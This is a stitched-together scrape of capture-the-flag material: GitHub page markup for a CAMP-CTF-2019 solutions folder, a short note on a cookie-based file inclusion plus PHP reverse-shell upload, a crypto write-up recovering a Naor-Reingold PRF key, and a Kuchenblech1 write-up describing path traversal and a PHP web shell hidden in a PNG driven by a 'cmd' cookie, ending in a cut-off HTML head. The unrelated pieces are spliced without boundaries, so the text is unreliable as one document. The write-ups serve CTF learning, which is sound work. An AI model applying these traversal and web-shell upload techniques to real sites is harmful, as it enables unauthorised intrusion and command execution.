<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/OlfillasOdikno/CAMP-CTF-2019/refs" cache-key="v0:1567333932.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="T2xmaWxsYXNPZGlrbm8vQ0FNUC1DVEYtMjAxOQ==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CAMP-CTF-2019</span></span></span><span>/</span><span><span>solutions</span></span><span>/</span>Enterprise (Nexantic) DevOps<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CAMP-CTF-2019</span></span></span><span>/</span><span><span>solutions</span></span><span>/</span>Enterprise (Nexantic) DevOps<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/tree-commit/6429138d222e4417187eaacd2e0bdfc23337a9e4/solutions/Enterprise%20(Nexantic)%20DevOps" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/file-list/master/solutions/Enterprise%20(Nexantic)%20DevOps"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>document.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>document2.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn.mp4</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage1.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage3.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage_all_shellz.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
This challenge can be solved by editing the 'p' cookie to a malbolge program that prints the path to a file on the host and then do a lfi. Originally the Kuchenblech challenges were designed to be exploited stage after stage therefore this was the entrypoint and to get into the system someone would need a shell. To obtain a shell the image upload function can be abused to include a php reverse shell. Alternatively the php session should also contain the username which is attacker controlled, but I never tested it ;) |
Apart from the obvious hack (which we didn't notice at first at which wasn't fixed properly in aron2), the intended solution for aron was quite interesting.
Basically we got a POW leading to a pseudo random number generator:```*********************************************************************************| hey! I have developed an efficient pseudorandom function, PRF, but it needs || deep tests for security points!! Try hard to break this PRF and get the flag! || In each step I will compute the f_a(n), f_a(n + 1), f_a(n + 2), f_a(n+3), and || f_a(n + 4) for secret verctor a, and for your given positive number 0 < n < p |*********************************************************************************| for n = 184113299190345435057106844406533197843, and with these PRF parameters:| (p, g) = (0xd696dda3cd30cebc1a81813fb2b13931, 0x987265868e3c69e26c5ee34ba9d82f83)| the five consecutive random numbers generated by our secure PRF are:| f_a(n + 0) = 141652518279999000396303568109848898358| f_a(n + 1) = 28639803954408977165975477439641803981| f_a(n + 2) = 158977698017440824547805031811313118697| f_a(n + 3) = 62551549237931052851287463007086539304| f_a(n + 4) = 63319421242963154645393127856149009876| Options:| [G]uess next number!| [P]RF function| [N]ew numbers| [Q]uit```and we had access to the function generating the numbers:
```def gg(tup, a, x): (_, p, g), n = tup, len(a) assert len(bin(x)[2:]) <= n X = bin(x)[2:].zfill(n) f_ax = g for i in range(1, n): f_ax *= pow(g, a[i] * int(X[i]), p) return f_ax % p```
which took as arguments 3 numbers, p, g, n which were given, and a vector a. The challenge was, given `f_a(n)` through `f_a(n + 4)`, to guess `f_a(n + 5)`. Given that we could ask for new numbers with the same p and g but providing a new n, it was easy to ask for n-1 then, and enter the `f_a(n + 4)` that was given to us just before, but that's not interesting. Instead, let's try and figure out what the vector a is.
Our first idea was to use a new `n` with one 1 and 0 everywhere else so that `pow(g, a[i] * int(X[i]), p)` would be 1 except for the place where the 1 was, for example providing `n = 2^(len(a)-2)` (because the for loop in the gg function starts at 1) would give us `f_ax = g*pow(g, a[1], p) % p`, which we could then solve or bruteforce for a[1].
There were two restrictions on the `n` that we could input for new numbers though, one was in the PRF, that the binary size of n was not greater than the size of a (the vector), so we had an upper bound, and the second restriction was from another function, which basically said `Sorry, your input integer is small :P` for n < 2^65, so we had to provide a number bigger than 64 bits. These restrictions prevented us from inputting n = 2^i for `1 <= i < len(a)` as it would go below 2^64. But if we worked from 1000...000 through 11000...000 to 111...111, we'd be alright.
The first task was to bruteforce the length of a, which we did by inputting larger and larger powers of 2 until we got an EOF and this:```Traceback (most recent call last): File "/home/aron5/aron/aron_server.py", line 121, in <module> main() File "/home/aron5/aron/aron_server.py", line 96, in main pr("| f_a(n + 0) = %s\n| f_a(n + 1) = %s\n| f_a(n + 2) = %s\n| f_a(n + 3) = %s\n| f_a(n + 4) = %s " % (gg((l, p, g), a, n), gg((l, p, g), a, n+1), gg((l, p, g), a, n+2), gg((l, p, g), a, n+3), gg((l, p, g), a, n+4))) File "/home/aron5/aron/aron_server.py", line 39, in gg assert len(bin(x)[2:]) <= nAssertionError```
After finding out that `len(a) == 128`, we started the work on a itself, bruteforcing value by value, assuming that they all were under 255, which they were, and voilà, we get a, now we just have to compute `f_a(n + 5)` ourselves and send it!```[+] Opening connection to 167.71.62.250 on port 12439: Done[+] Cracking POW...[+] Computing the secret vector a...[+] Done, f_a(n + 5) is 177871485800397954143952761967181761502![!] Congratz! :) You got the flag: CCTF{___Naor-Reingold___p5euD0r4ndOM_fuNc710N__PRF__}[*] Closed connection to 167.71.62.250 port 12439```
You will find the script [here](https://github.com/arty-hlr/CTF-writeups/tree/master/2019/cryptoctf/aron). |
# Kuchenblech1
The description of the challenge said:
> kuchenblech1, Category: Web, Difficulty: Easy (but guessy), Author: localo & A2nkF > This Challenge can only be solved by the chosen one. While many have tried, no one has ever managed to solve it. Think you can do it? Then go ahead. But be warned, all your skills are going to be put to the test... hax.allesctf.net:5555
The site proposed a login/register page and after the authentication process it showed a real working chat.A user could post message in this chat, but he also change image profile, which it had to be a PNG.
After a glance at the console, which it shown every request done via web socket to the server, I checked the cookies and the first thing that it have caught my attention was the "nick" cookie value set to the my username.So, I've tried to change it to "admin", but after refreshing page it's came back with the start value. Then I've paid attention to another strange cookie called 'p', its value seemed a base64 sting. Decoding the string, it returned another odd string which remember me Malbolge esoteric language. ```('%%:^"~}}{zz1Uwutt+0)(Lnmk)"Fhg$#"y?=O_):x[Yotsl2Soh.Oe+vhg9_G$5"!_^W@```
Decoded string returned_```chat.php```
### Idea
The idea was that the path of the viewed page was stored as value in `p` cookie.
Immediately, I've tried to guess some hidden file, such as admin.php, flag.txt and so on, but none of these files was present.However, when a page was not found the site was redirected to a fake shell page, with a funny(?) looped Rick Ashley's videoclip , "Never Gonna Give You Up", located in `/public/panic.html`.

### Exploit
There was two way to solve this chall:
##### 1. Guessing/brute forcing all possible flag file-path.
In facts, flag was reachable encoding `../../flag` in the cookie.
##### 2. Uploading a php shell and pointing the cookie to the uploaded file.
I tried to upload a PNG modified and system returned successfully. Then, I appended a php shellcode into the image:
```
```The php code above looks for the "cmd" cookie which contains the command to execute in `system()`.
The last step was to write the image's path into `p` cookie to get the shell.Even though browser showed profile images as stored in `static/img/profile/` and it gave the new image name in console, I didn't reach the uploaded image via cookie and I got stuck until the end.After the flag's submissions have been closed, I realized that I missed one piece of the path at the start, `public/`, which I had seen when the site returned me the fake shell.
Therefore, encoding `public/static/img/profile/<image_name>.png` into `p` cookie's value, I had the shell.> ***NOTE:*** A further encoding step was required from base64 to URLencode.

Playing with `cmd` cookie, It revealed me that flag was in `/flag` directory, and this latter was:
Flag:`ALLES{winner_winner_chicken_dinner}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" 